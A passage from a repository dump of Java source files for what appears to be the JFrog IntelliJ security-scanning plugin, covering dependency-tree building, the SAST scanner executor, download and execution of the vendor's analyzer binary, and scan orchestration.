dependencies.add(compId);\n        }\n\n        // Populate each node's children\n        Map<String, DepTreeNode> nodes = new HashMap<>();\n        for (PyPackage pyPackage : packages) {\n            String compId = createComponentId(pyPackage.getName(), pyPackage.getVersion());\n            DepTreeNode node = new DepTreeNode();\n            for (PyRequirement requirement : pyPackage.getRequirements()) {\n                String depId = compIdByCompName.get(requirement.getName().toLowerCase());\n                if (depId == null) {\n                    getLog().warn(\"Dependency \" + requirement.getName() + \" is not installed.\");\n                    continue;\n                }\n                node.getChildren().add(depId);\n            }\n            nodes.put(compId, node);\n        }\n\n        // Create root SDK node\n        String rootCompId = pythonSdk.getName();\n        DepTreeNode sdkNode = new DepTreeNode().descriptorFilePath(pythonSdk.getHomePath());\n        sdkNode.children(dependencies);\n        nodes.put(rootCompId, sdkNode);\n        return new DepTree(rootCompId, nodes);\n    }\n\n    @Override\n    protected PsiFile[] getProjectDescriptors() {\n        return null;\n    }\n\n    @Override\n    protected AbstractInspection getInspectionTool() {\n        return null;\n    }\n\n    @Override\n    protected PackageManagerType getPackageManagerType() {\n        return PackageManagerType.PYPI;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/SastScannerExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.FileIssueNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.SastIssueNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport org.jfrog.build.api.util.Log;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @author Tal Arian\n */\npublic class SastScannerExecutor extends ScanBinaryExecutor {\n    private static final List<String> SCANNER_ARGS = List.of(\"zd\");\n    // This variable is used to indicate that this scanner supports only the new config (input) format.\n    // In the near future, when all scanners will use only the new input file structure this variable as well\n    // as the ScanConfig and ScanConfigs classes can be safely removed.\n    private static final boolean RUN_WITH_NEW_CONFIG_FILE = true;\n    private static final List<PackageManagerType> SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN);\n\n    public SastScannerExecutor(Log log) {\n        super(SourceCodeScanType.SAST, log);\n    }\n\n    public List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException {\n        return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, RUN_WITH_NEW_CONFIG_FILE, indicator);\n    }\n\n    @Override\n    List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings) {\n        HashMap<String, FileTreeNode> results = new HashMap<>();\n        for (JFrogSecurityWarning warning : warnings) {\n            // Create FileTreeNodes for files with found issues\n            FileTreeNode fileNode = results.get(warning.getFilePath());\n            if (fileNode == null) {\n                fileNode = new FileTreeNode(warning.getFilePath());\n                results.put(warning.getFilePath(), fileNode);\n            }\n\n            FileIssueNode issueNode = new SastIssueNode(warning.getReason(),\n                    warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(),\n                    warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getCodeFlows(), warning.getSeverity(), warning.getRuleID());\n            fileNode.addIssue(issueNode);\n        }\n        return new ArrayList<>(results.values());\n    }\n\n    @Override\n    public Feature getScannerFeatureName() {\n        // TODO: change to SAST feature when Xray entitlement service supports it.\n        return Feature.CONTEXTUAL_ANALYSIS;\n    }\n\n    @Override\n    protected boolean isPackageTypeSupported(PackageManagerType packageType) {\n        return packageType != null && SUPPORTED_PACKAGE_TYPES.contains(packageType);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/ScanBinaryExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.configuration.ServerConfigImpl;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.data.*;\nimport com.jfrog.xray.client.Xray;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport lombok.Getter;\nimport net.lingala.zip4j.ZipFile;\nimport net.lingala.zip4j.exception.ZipException;\nimport net.lingala.zip4j.model.UnzipParameters;\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.SystemUtils;\nimport org.apache.http.Header;\nimport org.jfrog.build.api.util.Log;\nimport org.jfrog.build.api.util.NullLog;\nimport org.jfrog.build.client.ProxyConfiguration;\nimport org.jfrog.build.extractor.clientConfiguration.ArtifactoryManagerBuilder;\nimport org.jfrog.build.extractor.clientConfiguration.client.artifactory.ArtifactoryManager;\nimport org.jfrog.build.extractor.executor.CommandExecutor;\nimport org.jfrog.build.extractor.executor.CommandResults;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.net.URISyntaxException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.time.LocalDateTime;\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.jfrog.ide.common.utils.ArtifactoryConnectionUtils.createAnonymousAccessArtifactoryManagerBuilder;\nimport static com.jfrog.ide.common.utils.ArtifactoryConnectionUtils.createArtifactoryManagerBuilder;\nimport static com.jfrog.ide.common.utils.Utils.createMapper;\nimport static com.jfrog.ide.common.utils.Utils.createYAMLMapper;\nimport static com.jfrog.ide.common.utils.XrayConnectionUtils.createXrayClientBuilder;\nimport static com.jfrog.ide.idea.scan.utils.ScanUtils.getOSAndArc;\nimport static com.jfrog.ide.idea.utils.Utils.HOME_PATH;\nimport static java.lang.String.join;\n\n/**\n * @author Tal Arian\n */\npublic abstract class ScanBinaryExecutor {\n    public static final Path BINARIES_DIR = HOME_PATH.resolve(\"dependencies\").resolve(\"jfrog-security\");\n    private static final int UPDATE_INTERVAL = 1;\n    private static final int USER_NOT_ENTITLED = 31;\n    private static final int NOT_SUPPORTED = 13;\n    private static final String SCANNER_BINARY_NAME = \"analyzerManager\";\n    static final String DEFAULT_SCANNER_BINARY_VERSION = \"1.30.1\";\n    private static final String BINARY_DOWNLOAD_URL_PREFIX = \"xsc-gen-exe-analyzer-manager-local/v1/\";\n    private static final String DOWNLOAD_SCANNER_NAME = \"analyzerManager.zip\";\n    private static final String MINIMAL_XRAY_VERSION_SUPPORTED_FOR_ENTITLEMENT = \"3.66.0\";\n    private static final String ENV_PLATFORM = \"JF_PLATFORM_URL\";\n    private static final String ENV_USER = \"JF_USER\";\n    private static final String ENV_PASSWORD = \"JF_PASS\";\n    private static final String ENV_ACCESS_TOKEN = \"JF_TOKEN\";\n    private static final String ENV_HTTP_PROXY = \"HTTP_PROXY\";\n    private static final String JFROG_RELEASES = \"https://releases.jfrog.io/artifactory/\";\n    private static Path binaryTargetPath;\n    private static Path archiveTargetPath;\n    @Getter\n    private static String osDistribution;\n    private static LocalDateTime nextUpdateCheck;\n    private static String lastDownloadedVersion;\n    protected final SourceCodeScanType scanType;\n    protected Collection<PackageManagerType> supportedPackageTypes;\n    private final Log log;\n    private boolean notSupported;\n    private final static Object downloadLock = new Object();\n\n    ScanBinaryExecutor(SourceCodeScanType scanType, Log log) {\n        this.scanType = scanType;\n        this.log = log;\n        String executable = SystemUtils.IS_OS_WINDOWS ? SCANNER_BINARY_NAME + \".exe\" : SCANNER_BINARY_NAME;\n        binaryTargetPath = BINARIES_DIR.resolve(SCANNER_BINARY_NAME).resolve(executable);\n        archiveTargetPath = BINARIES_DIR.resolve(DOWNLOAD_SCANNER_NAME);\n        setOsDistribution();\n    }\n\n    private ArtifactoryManagerBuilder createManagerBuilder(boolean useJFrogReleases, ServerConfig server) {\n        if (useJFrogReleases) {\n            return createAnonymousAccessArtifactoryManagerBuilder(JFROG_RELEASES, server.getProxyConfForTargetUrl(JFROG_RELEASES), log);\n        }\n        try {\n            return createArtifactoryManagerBuilder(server, log);\n        } catch (Exception e) {\n            log.warn(e.getMessage());\n            notSupported = true;\n        }\n        return null;\n    }\n\n    protected void setOsDistribution() {\n        try {\n            osDistribution = getOSAndArc();\n        } catch (IOException e) {\n            log.warn(e.getMessage());\n            notSupported = true;\n        }\n    }\n\n    String getBinaryDownloadURL(String externalResourcesRepo) {\n        String downloadUrlPrefix = \"\";\n        if (!StringUtils.isEmpty(externalResourcesRepo)) {\n            downloadUrlPrefix = String.format(\"%s/artifactory/\", externalResourcesRepo);\n        }\n        String binaryDownloadUrl = BINARY_DOWNLOAD_URL_PREFIX + getEffectiveScannerVersion();\n        return String.format(\"%s%s/%s/%s\", downloadUrlPrefix, binaryDownloadUrl, getOsDistribution(), DOWNLOAD_SCANNER_NAME);\n    }\n\n    String getEffectiveScannerVersion() {\n        try {\n            ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig();\n            if (serverConfig != null && StringUtils.isNotBlank(serverConfig.getScannerBinaryVersion())) {\n                return serverConfig.getScannerBinaryVersion();\n            }\n        } catch (Exception e) {\n            log.debug(\"Could not read scanner binary version from settings, using default.\");\n        }\n        return DEFAULT_SCANNER_BINARY_VERSION;\n    }\n\n    abstract Feature getScannerFeatureName();\n\n    abstract List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException, URISyntaxException;\n\n    protected List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, List<String> args, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException {\n        return execute(inputFileBuilder, args, checkCanceled, false, indicator);\n    }\n\n    protected List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, List<String> args, Runnable checkCanceled, boolean newConfigFormat, ProgressIndicator indicator) throws IOException, InterruptedException {\n        if (!shouldExecute()) {\n            return List.of();\n        }\n        checkCanceled.run();\n        updateBinaryIfNeeded();\n        Path outputTempDir = null;\n        Path inputFile = null;\n        try {\n            outputTempDir = Files.createTempDirectory(\"\");\n            Path outputFilePath = Files.createTempFile(outputTempDir, \"\", \".sarif\");\n            inputFileBuilder.output(outputFilePath.toString());\n            inputFileBuilder.scanType(scanType);\n            ScanConfig inputParams = inputFileBuilder.Build();\n            args = new ArrayList<>(args);\n            inputFile = newConfigFormat ? createTempRunInputFile(new NewScansConfig(new NewScanConfig(inputParams))) : createTempRunInputFile(new ScansConfig(List.of(inputParams)));\n            args.add(inputFile.toString());\n            if (newConfigFormat) {\n                args.add(outputFilePath.toString());\n            }\n\n            Logger log = Logger.getInstance();\n            // The following logging is done outside the commandExecutor because the commandExecutor log level is set to INFO.\n            //  As it is an internal binary execution, the message should be printed for DEBUG use only.\n            indicator.setText(String.format(\"Running %s scan at %s\", scanType.toString().toLowerCase(), String.join(\" \", inputParams.getRoots())));\n            String cmd = String.format(\"%s %s\", binaryTargetPath.toString(), join(\" \", args));\n            log.info(String.format(\"Executing JAS scanner %s with config: %s\", cmd, inputParams));\n            CommandExecutor commandExecutor = new CommandExecutor(binaryTargetPath.toString(), createEnvWithCredentials());\n            CommandResults commandResults = commandExecutor.exeCommand(binaryTargetPath.toFile().getParentFile(), args,\n                    null, new NullLog(), Long.MAX_VALUE, TimeUnit.MINUTES);\n\n            checkCanceled.run();\n\n            if (commandResults.isOk()) {\n                log.info(String.format(\"Finished successfully to run command: %s\", cmd));\n                log.debug(commandResults.getRes());\n                return parseOutputSarif(outputFilePath);\n            }\n            log.info(String.format(\"Failed to run command: %s\", cmd));\n            switch (commandResults.getExitValue()) {\n                case USER_NOT_ENTITLED -> {\n                    log.debug(\"User not entitled for advance security scan\");\n                    return List.of();\n                }\n                case NOT_SUPPORTED -> {\n                    log.info(String.format(\"Scanner %s is not supported in the current Analyzer Manager version.\", scanType));\n                    return List.of();\n                }\n                default -> {\n                    log.info(commandResults.getRes());\n                    throw new IOException(commandResults.getErr());\n                }\n            }\n        } finally {\n            if (outputTempDir != null) {\n                FileUtils.deleteQuietly(outputTempDir.toFile());\n            }\n            if (inputFile != null) {\n                FileUtils.deleteQuietly(inputFile.toFile());\n            }\n        }\n    }\n\n    abstract List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings);\n\n    private void updateBinaryIfNeeded() throws IOException {\n        // Allow only one thread to check and update the binary at any time.\n        synchronized (downloadLock) {\n            LocalDateTime currentTime = LocalDateTime.now();\n            boolean targetExists = Files.exists(binaryTargetPath);\n            boolean versionChanged = !getEffectiveScannerVersion().equals(lastDownloadedVersion);\n            if (targetExists && !versionChanged && nextUpdateCheck != null && currentTime.isBefore(nextUpdateCheck)) {\n                return;\n            }\n            ServerConfig server = GlobalSettings.getInstance().getServerConfig();\n            String externalResourcesRepo = server.getExternalResourcesRepo();\n            ArtifactoryManagerBuilder artifactoryManagerBuilder = createManagerBuilder(StringUtils.isEmpty(externalResourcesRepo), server);\n            try (ArtifactoryManager artifactoryManager = artifactoryManagerBuilder.build()) {\n                if (targetExists) {\n                    // Check for new version of the binary\n                    try (FileInputStream archiveBinaryFile = new FileInputStream(archiveTargetPath.toFile())) {\n                        String latestBinaryChecksum = getFileChecksumFromServer(artifactoryManager, externalResourcesRepo);\n                        String currentBinaryCheckSum = DigestUtils.sha256Hex(archiveBinaryFile);\n                        if (latestBinaryChecksum.equals(currentBinaryCheckSum)) {\n                            lastDownloadedVersion = getEffectiveScannerVersion();\n                            nextUpdateCheck = currentTime.plusDays(UPDATE_INTERVAL);\n                            return;\n                        }\n                        log.debug(String.format(\"Resource %s is not up to date. Downloading it.\", archiveTargetPath));\n                    }\n                } else {\n                    log.debug(String.format(\"Resource %s is not found. Downloading it.\", binaryTargetPath));\n                }\n                downloadBinary(artifactoryManager, externalResourcesRepo);\n                lastDownloadedVersion = getEffectiveScannerVersion();\n            }\n        }\n    }\n\n    public String getFileChecksumFromServer(ArtifactoryManager artifactoryManager, String externalResourcesRepo) throws IOException {\n        String url = getBinaryDownloadURL(externalResourcesRepo);\n        Header[] headers = artifactoryManager.downloadHeaders(url);\n        for (Header header : headers) {\n            if (StringUtils.equalsIgnoreCase(header.getName(), \"x-checksum-sha256\")) {\n                return header.getValue();\n            }\n        }\n        log.warn(String.format(\"Failed to retrieve file checksum from: %s/%s \", artifactoryManager.getUrl(), url));\n        return \"\";\n    }\n\n    protected boolean shouldExecute() {\n        if (notSupported) {\n            return false;\n        }\n        ServerConfig server = GlobalSettings.getInstance().getServerConfig();\n        try (Xray xrayClient = createXrayClientBuilder(server, log).build()) {\n            try {\n                if (!xrayClient.system().version().isAtLeast(MINIMAL_XRAY_VERSION_SUPPORTED_FOR_ENTITLEMENT)) {\n                    return false;\n                }\n                return xrayClient.entitlements().isEntitled(getScannerFeatureName());\n            } catch (IOException e) {\n                log.error(\"Couldn't connect to JFrog Xray. Please check your credentials.\", e);\n                return false;\n            }\n        }\n    }\n\n    protected boolean isPackageTypeSupported(PackageManagerType type) {\n        return type != null && supportedPackageTypes.contains(type);\n    }\n\n    protected List<JFrogSecurityWarning> parseOutputSarif(Path outputFile) throws IOException,IndexOutOfBoundsException {\n        Output output = getOutputObj(outputFile);\n        List<JFrogSecurityWarning> warnings = new ArrayList<>();\n\n        output.getRuns().forEach(run -> run.getResults().stream()\n                .filter(SarifResult::isNotSuppressed)\n                .filter(result -> !\"informational\".equals(result.getKind()))\n                .forEach(result -> warnings.add(new JFrogSecurityWarning(result, scanType, run.getRuleFromRunById(result.getRuleId())))));\n\n        Optional<Run> run = output.getRuns().stream().findFirst();\n        if (run.isPresent()) {\n            List<Rule> scanners = run.get().getTool().getDriver().getRules();\n            // Adds the scanner search target data\n            for (JFrogSecurityWarning warning : warnings) {\n                String scannerSearchTarget = scanners.stream().filter(scanner -> scanner.getId().equals(warning.getRuleID())).findFirst().map(Rule::getFullDescription).map(Message::getText).orElse(\"\");\n                warning.setScannerSearchTarget(scannerSearchTarget);\n            }\n        }\n        return warnings;\n    }\n\n    protected Output getOutputObj(Path outputFile) throws IOException {\n        ObjectMapper om = createMapper();\n        return om.readValue(outputFile.toFile(), Output.class);\n    }\n\n    protected void downloadBinary(ArtifactoryManager artifactoryManager, String externalResourcesRepo) throws IOException {\n        String downloadUrl = getBinaryDownloadURL(externalResourcesRepo);\n        File downloadArchive = artifactoryManager.downloadToFile(downloadUrl, archiveTargetPath.toString());\n        log.debug(String.format(\"Downloading: %s\", downloadUrl));\n        if (downloadArchive == null) {\n            throw new IOException(\"An empty response received from Artifactory.\");\n        }\n        // Delete current scanners\n        FileUtils.deleteDirectory(binaryTargetPath.toFile().getParentFile());\n        // Extract archive\n        UnzipParameters params = new UnzipParameters();\n        params.setExtractSymbolicLinks(false);\n        try (ZipFile zip = new ZipFile(archiveTargetPath.toFile())) {\n            zip.extractAll(binaryTargetPath.toFile().getParentFile().toString(), params);\n        } catch (ZipException exception) {\n            throw new IOException(\"An error occurred while trying to unarchived the JFrog executable:\\n\" + exception.getMessage());\n        }\n        // Set executable permissions to the downloaded scanner\n        if (!binaryTargetPath.toFile().setExecutable(true)) {\n            throw new IOException(\"An error occurred while trying to give access permissions to the JFrog executable.\");\n        }\n    }\n\n    Path createTempRunInputFile(Object scanInput) throws IOException {\n        ObjectMapper om = createYAMLMapper();\n        Path tempDir = Files.createTempDirectory(\"\");\n        Path inputPath = Files.createTempFile(tempDir, \"\", \".yaml\");\n        om.writeValue(inputPath.toFile(), scanInput);\n        return inputPath;\n    }\n\n    private Map<String, String> createEnvWithCredentials() {\n        Map<String, String> env = new HashMap<>(EnvironmentUtil.getEnvironmentMap());\n        ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig();\n        env.put(ENV_PLATFORM, serverConfig.getUrl());\n        if (StringUtils.isNotEmpty(serverConfig.getAccessToken())) {\n            env.put(ENV_ACCESS_TOKEN, serverConfig.getAccessToken());\n        } else {\n            env.put(ENV_USER, serverConfig.getUsername());\n            env.put(ENV_PASSWORD, serverConfig.getPassword());\n        }\n\n        ProxyConfiguration proxyConfiguration = serverConfig.getProxyConfForTargetUrl(serverConfig.getUrl());\n        if (proxyConfiguration != null) {\n            String proxyUrl = proxyConfiguration.host + \":\" + proxyConfiguration.port;\n            if (StringUtils.isNoneBlank(proxyConfiguration.username, proxyConfiguration.password)) {\n                proxyUrl = proxyConfiguration.username + \":\" + proxyConfiguration.password + \"@\" + proxyUrl;\n            }\n            //jfrog-ignore\n            env.put(ENV_HTTP_PROXY, \"http://\" + proxyUrl);\n        }\n        return env;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/ScanManager.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Maps;\nimport com.google.common.collect.Sets;\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.openapi.project.DumbService;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.common.scan.GraphScanLogic;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.navigation.NavigationService;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport com.jfrog.xray.client.impl.XrayClient;\nimport com.jfrog.xray.client.impl.util.JFrogInactiveEnvironmentException;\nimport com.jfrog.xray.client.services.system.Version;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.jfrog.ide.common.log.Utils.logError;\nimport static com.jfrog.ide.common.utils.XrayConnectionUtils.createXrayClientBuilder;\n\npublic class ScanManager {\n    private final Project project;\n    private final ScannerFactory factory;\n    private final SourceCodeScannerManager sourceCodeScannerManager;\n    private Map<Integer, ScannerBase> scanners = Maps.newHashMap();\n    private ExecutorService executor;\n\n    private ScanManager(@NotNull Project project) {\n        this.project = project;\n        factory = new ScannerFactory(project);\n        sourceCodeScannerManager = new SourceCodeScannerManager(project);\n    }\n\n    public static ScanManager getInstance(@NotNull Project project) {\n        return project.getService(ScanManager.class);\n    }\n\n    public static Set<ScannerBase> getScanners(@NotNull Project project) {\n        ScanManager scanManager = getInstance(project);\n        return Sets.newHashSet(scanManager.scanners.values());\n    }\n\n    public void runInspections(Project project) {\n        try {\n            refreshScanners(null, null);\n            getScanners(project).forEach(ScannerBase::runInspections);\n        } catch (InterruptedException | IOException e) {\n            logError(Logger.getInstance(), \"\", e, false);\n        }\n    }\n\n    /**\n     * Start an Xray scan for all projects.\n     */\n    public void startScan() {\n        if (DumbService.isDumb(project)) { // If intellij is still indexing the project\n            return;\n        }\n\n        if (isScanInProgress()) {\n            Logger.getInstance().info(\"Previous scan still running...\");\n            return;\n        }\n\n        if (!GlobalSettings.getInstance().reloadMissingConfiguration()) {\n            Logger.getInstance().error(\"Xray server is not configured.\");\n            return;\n        }\n\n        project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_LOCAL_STARTED).update();\n        LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project);\n        componentsTree.setScanningEmptyText();\n        Thread currScanThread = new Thread(() -> {\n            executor = Executors.newFixedThreadPool(3);\n            try {\n                // Source code scanners\n                sourceCodeScannerManager.asyncScanAndUpdateResults(executor, Logger.getInstance());\n                // Dependencies scanners\n                ScanLogic scanLogic = createScanLogic();\n                refreshScanners(scanLogic, executor);\n                NavigationService.clearNavigationMap(project);\n                for (ScannerBase scanner : scanners.values()) {\n                    scanner.asyncScanAndUpdateResults();\n                }\n                executor.shutdown();\n                if (!executor.awaitTermination(Long.MAX_VALUE, TimeUnit.MINUTES)) {\n                    logError(Logger.getInstance(), \"Scan timeout elapsed. The scan is being canceled.\", true);\n                }\n                // Cache tree only if no errors occurred during scan.\n                if (scanners.values().stream().anyMatch(ScannerBase::isScanErrorOccurred)) {\n                    componentsTree.deleteCachedTree();\n                    componentsTree.setScanErrorEmptyText();\n                } else if (scanners.values().stream().anyMatch(ScannerBase::isScanCanceled)) {\n                    project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_LOCAL_CANCELED).update();\n                } else {\n                    componentsTree.cacheTree();\n                    componentsTree.setNoIssuesEmptyText();\n                }\n            } catch (JFrogInactiveEnvironmentException e) {\n                handleJfrogInactiveEnvironment(e.getRedirectUrl());\n                componentsTree.setScanErrorEmptyText();\n            } catch (IOException | RuntimeException | InterruptedException e) {\n                logError(Logger.getInstance(), ExceptionUtils.getRootCauseMessage(e), e, true);\n                componentsTree.setScanErrorEmptyText();\n            } finally {\n                executor.shutdownNow();\n            }\n        });\n        currScanThread.start();\n    }\n\n    public void stopScan() {\n        executor.shutdown();\n        scanners.values().forEach(ScannerBase::stopScan);\n        sourceCodeScannerManager.stopScan();\n    }\n\n    /**\n     * Handle inactive JFrog platform (free-tier) by displaying a clear warning message and a reactivation link.\n     *\n     * @param reactivationUrl is an URL to reactivate the specific free-tier platform.\n     */\n    private void handleJfrogInactiveEnvironment(String reactivationUrl) {\n        Logger.getInstance().warn(\"JFrog Platform is not active.\");\n        Logger.showActionableBalloon(project, \"JFrog Platform is not active.\\nYou can activate it <a href=\\\"here\\\">here. </a>\", () -> BrowserUtil.browse(reactivationUrl));\n    }\n\n    /**\n     * Scan projects, create new Scanners and delete unnecessary ones.\n     */\n    public void refreshScanners(ScanLogic scanLogic, @Nullable ExecutorService executor) throws IOException, InterruptedException {\n        scanners = factory.refreshScanners(scanners, scanLogic, executor);\n    }\n\n    public boolean isScanInProgress() {\n        return scanners.values().stream().anyMatch(ScannerBase::isScanInProgress) || sourceCodeScannerManager.isScanInProgress();\n    }\n\n    /**\n     * Create the scan logic according to Xray version.\n     *\n     * @return Xray scan logic\n     */\n    private ScanLogic createScanLogic() throws IOException {\n        Logger logger = Logger.getInstance();\n        ServerConfig server = GlobalSettings.getInstance().getServerConfig();\n        try (XrayClient client = createXrayClientBuilder(server, logger).build()) {\n            Version xrayVersion = client.system().version();\n            GraphScanLogic.validateXraySupport(xrayVersion);\n        }\n        return new GraphScanLogic(logger);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/ScannerBase.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Sets;\nimport com.intellij.codeInsight.daemon.DaemonCodeAnalyzer;\nimport com.intellij.codeInspection.GlobalInspectionContext;\nimport com.intellij.codeInspection.InspectionEngine;\nimport com.intellij.codeInspection.InspectionManager;\nimport com.intellij.codeInspection.LocalInspectionTool;\nimport com.intellij.codeInspection.ex.LocalInspectionToolWrapper;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.fileEditor.FileEditor;\nimport com.intellij.openapi.fileEditor.FileEditorManager;\nimport com.intellij.openapi.progress.ProcessCanceledException;\nimport com.intellij.openapi.progress.ProgressManager;\nimport com.intellij.openapi.progress.Task;\nimport com.intellij.openapi.project.DumbService;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiFile;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.inspections.AbstractInspection;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.log.ProgressIndicatorImpl;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport com.jfrog.ide.idea.utils.Utils;\nimport com.jfrog.xray.client.services.summary.Components;\nimport lombok.Getter;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.api.util.Log;\n\nimport javax.annotation.Nullable;\nimport javax.swing.*;\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.*;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.jfrog.ide.common.log.Utils.logError;\n\n/**\n * Created by romang on 4/26/17.\n */\npublic abstract class ScannerBase {\n    private final ServerConfig serverConfig;\n    private final ComponentPrefix prefix;\n    @Getter\n    private final Log log;\n    // Lock to prevent multiple simultaneous scans\n    private final AtomicBoolean scanInProgress = new AtomicBoolean(false);\n    private final AtomicBoolean scanError = new AtomicBoolean(false);\n    private final AtomicBoolean scanCanceled = new AtomicBoolean(false);\n\n    private ScanLogic scanLogic;\n    protected Project project;\n    protected SourceCodeScannerManager sourceCodeScannerManager;\n    String basePath;\n    private ExecutorService executor;\n    private com.intellij.openapi.progress.ProgressIndicator progressIndicator;\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}\n     * @param basePath  project base path\n     * @param prefix    components prefix for xray scan, e.g. gav:// or npm://\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    ScannerBase(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor, ScanLogic scanLogic) {\n        this.serverConfig = GlobalSettings.getInstance().getServerConfig();\n        this.prefix = prefix;\n        this.log = Logger.getInstance();\n        this.executor = executor;\n        this.basePath = basePath;\n        this.project = project;\n        this.sourceCodeScannerManager = new SourceCodeScannerManager(project, getPackageManagerType());\n        this.scanLogic = scanLogic;\n    }\n\n    void setExecutor(ExecutorService executor) {\n        this.executor = executor;\n    }\n\n    void setScanLogic(ScanLogic logic) {\n        this.scanLogic = logic;\n    }\n\n    /**\n     * Collect and return {@link Components} to be scanned by JFrog Xray.\n     * Implementation should be project type specific.\n     */\n    protected abstract DepTree buildTree() throws IOException;\n\n    /**\n     * Return all project descriptors under the scan-manager project, which need to be inspected by the corresponding {@link LocalInspectionTool}.\n     *\n     * @return all project descriptors under the scan-manager project to be inspected.\n     */\n    protected abstract PsiFile[] getProjectDescriptors();\n\n    /**\n     * Return the Inspection tool corresponding to the scan-manager type.\n     * The returned Inspection tool is 